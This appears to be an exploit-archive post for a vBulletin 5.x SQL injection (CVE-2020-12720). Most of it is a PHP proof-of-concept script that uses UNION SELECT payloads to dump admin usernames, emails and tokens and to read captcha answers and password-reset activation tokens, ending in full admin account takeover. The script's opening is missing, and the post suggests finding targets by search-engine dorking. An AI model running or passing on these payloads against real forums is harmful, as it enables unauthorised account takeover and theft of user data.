============================================================================================================================================= | # Title : vbulletin 5.6.1 Code Injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 131.0.3 (64 bits) | | # Vendor : https://vbulletin.com/ | ============================================================================================================================================= POC : [+] Dorking İn Google Or Other Search Enggine. [+] vulnerability found in vBulletin 5.x.x to dump the user table information or to dump all of the vBulletin tables (based on the selected options) [+] save code as poc.php . [+] Line 5 : set your target. [+] USage : cmd => c:\www\test\php poc.php [+] PayLoad : [ 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($lData), 'timeout' => 5, ], ]; $context = stream_context_create($options); $result = @file_get_contents($sUrl, false, $context); if ($result === FALSE) { die('----- ERROR, site down?'); } return $result; } // Function to generate random strings function randomString($length = 8) { return substr(str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz', ceil($length / 26))), 1, $length); } // Function to verify the vulnerability function verifyBug($sURL, $sUserid = '1') { $sPath = 'ajax/api/content_infraction/getIndexableContent'; $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"cve-2020-12720",8,7,6,5,4,3,2,1;--']; $sResponse = getData($sURL . $sPath, $lData); if (strpos($sResponse, 'cve-2020-12720') === false) { echo '[!] Warning: not vulnerable' . PHP_EOL; return false; } else { echo '[+] SQLi Success!' . PHP_EOL; return true; } } // Function to takeover account function takeoverAccount($sURL, $sNEWPASS) { $sPath = 'ajax/api/content_infraction/getIndexableContent'; // Get Table Prefixes $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 FROM information_schema.columns WHERE column_name=\'phrasegroup_cppermission\';--']; $sResponse = getData($sURL . $sPath, $lData); preg_match('/rawtext.*?:(.*?)}"/', $sResponse, $matches); $sPrefix = isset($matches[1]) ? str_replace(['"', '}', 'language'], '', $matches[1]) : ''; // Get usergroup ID for "Administrators" $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,usergroupid,8,7,6,5,4,3,2,1 FROM ' . $sPrefix . 'usergroup WHERE title=\'Administrators\';--']; $sResponse = getData($sURL . $sPath, $lData); preg_match('/rawtext.*?:(.*?)}"/', $sResponse, $matches); $sGroupID = isset($matches[1]) ? str_replace(['"', '}'], '', $matches[1]) : ''; // Get admin data $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 FROM ' . $sPrefix . 'user WHERE usergroupid=' . $sGroupID . ';--']; $sResponse = getData($sURL . $sPath, $lData); preg_match('/rawtext.*?:(.*?)}"/', $sResponse, $matches); list($sUsername, $sUserid, $sUsermail, $sUserTokenOrg) = explode('|', isset($matches[1]) ? str_replace(['"', '}'], '', $matches[1]) : ''); // Create Human Verify Captcha $sPath = 'ajax/api/hv/generateToken?'; $lData = ['securitytoken' => 'guest']; $sResponse = getData($sURL . $sPath, $lData); preg_match('/hash.*?:(.*?)}"/', $sResponse, $matches); $sHash = isset($matches[1]) ? str_replace(['"', '}'], '', $matches[1]) : ''; // Get the captcha answer from DB $sPath = 'ajax/api/content_infraction/getIndexableContent'; $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 FROM ' . $sPrefix . 'humanverify LIMIT 0,1--']; $sResponse = getData($sURL . $sPath, $lData); preg_match('/rawtext.*?:(.*?)}"/', $sResponse, $matches); $iAnswers = isset($matches[1]) ? (int) str_replace(['"', '}'], '', $matches[1]) : 1; $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,answer,8,7,6,5,4,3,2,1 FROM ' . $sPrefix . 'humanverify LIMIT ' . ($iAnswers - 1) . ',1--']; $sResponse = getData($sURL . $sPath, $lData); preg_match('/rawtext.*?:(.*?)}"/', $sResponse, $matches); $sAnswer = isset($matches[1]) ? str_replace(['"', '}'], '', $matches[1]) : ''; // Request password reset $sPath = 'auth/lostpw'; $lData = [ 'email' => $sUsermail, 'humanverify[input]' => $sAnswer, 'humanverify[hash]' => $sHash, 'securitytoken' => 'guest' ]; $sResponse = getData($sURL . $sPath, $lData); // Get activation token $sPath = 'ajax/api/content_infraction/getIndexableContent'; $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 FROM ' . $sPrefix . 'useractivation WHERE userid=' . $sUserid . ' LIMIT 0,1--']; $sResponse = getData($sURL . $sPath, $lData); preg_match('/rawtext.*?:(.*?)}"/', $sResponse, $matches); $sToken = isset($matches[1]) ? str_replace(['"', '}'], '', $matches[1]) : ''; // Reset password $sPath = 'auth/reset-password'; $lData = [ 'userid' => $sUserid, 'activationid' => $sToken, 'new-password' => $sNEWPASS, 'new-password-confirm' => $sNEWPASS, 'securitytoken' => 'guest' ]; $sResponse = getData($sURL . $sPath, $lData); if (strpos($sResponse, 'Logging in') === false) { echo '[!] Failed to take over the account!' . PHP_EOL; } else { echo '[+] Account takeover success!' . PHP_EOL; } } // Main execution if (verifyBug($sURL)) { takeoverAccount($sURL, $sNEWPASS); } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================